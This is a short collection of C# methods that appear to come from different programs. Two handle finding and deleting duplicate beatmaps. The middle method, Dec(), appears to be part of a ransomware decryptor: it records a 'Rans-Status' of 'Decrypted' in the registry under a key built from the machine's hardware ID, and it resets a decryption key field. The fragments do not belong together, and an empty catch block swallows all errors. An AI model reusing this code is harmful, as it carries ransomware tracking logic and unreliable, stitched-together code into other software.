private void Scanfordul(int index) { BackgroundWorker3.ReportProgress(0); var hash = _allBeatmap[index].GetHash(); var tmp = new List <int> { index }; for (var i = index + 1; i < _allBeatmap.Count; i++) { if (hash == _allBeatmap[i].GetHash()) { tmp.Add(i); } } if (tmp.Count == 1) { return; } if (!_dulpdict.ContainsKey(hash)) { _dulpdict.Add(hash, tmp); } else { _dulpdict[hash].AddRange(tmp); } }
public void Dec() { try { BackgroundWorker1.WorkerSupportsCancellation = true; BackgroundWorker1.RunWorkerAsync(); BackgroundWorker2.WorkerSupportsCancellation = true; BackgroundWorker2.RunWorkerAsync(); BackgroundWorker3.WorkerSupportsCancellation = true; BackgroundWorker3.RunWorkerAsync(); while (Finished != 3) { System.Threading.Thread.Sleep(50); } if (OK) { Registry.SetValue(@"HKEY_CURRENT_USER\Software\" + HWID(), "Rans-Status", "Decrypted"); Interaction.MsgBox("Done!", MsgBoxStyle.SystemModal); } Finished = 0; Pass = string.Empty; btnDecrypt.Enabled = true; btnDecrypt.Text = "Decrypt"; txtKey.ReadOnly = false; } catch (Exception ex) { } }
private void BackgroundWorker2RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e) { DelDulp_ProgressBar.Value = 0; BackgroundWorker3.RunWorkerAsync(0); }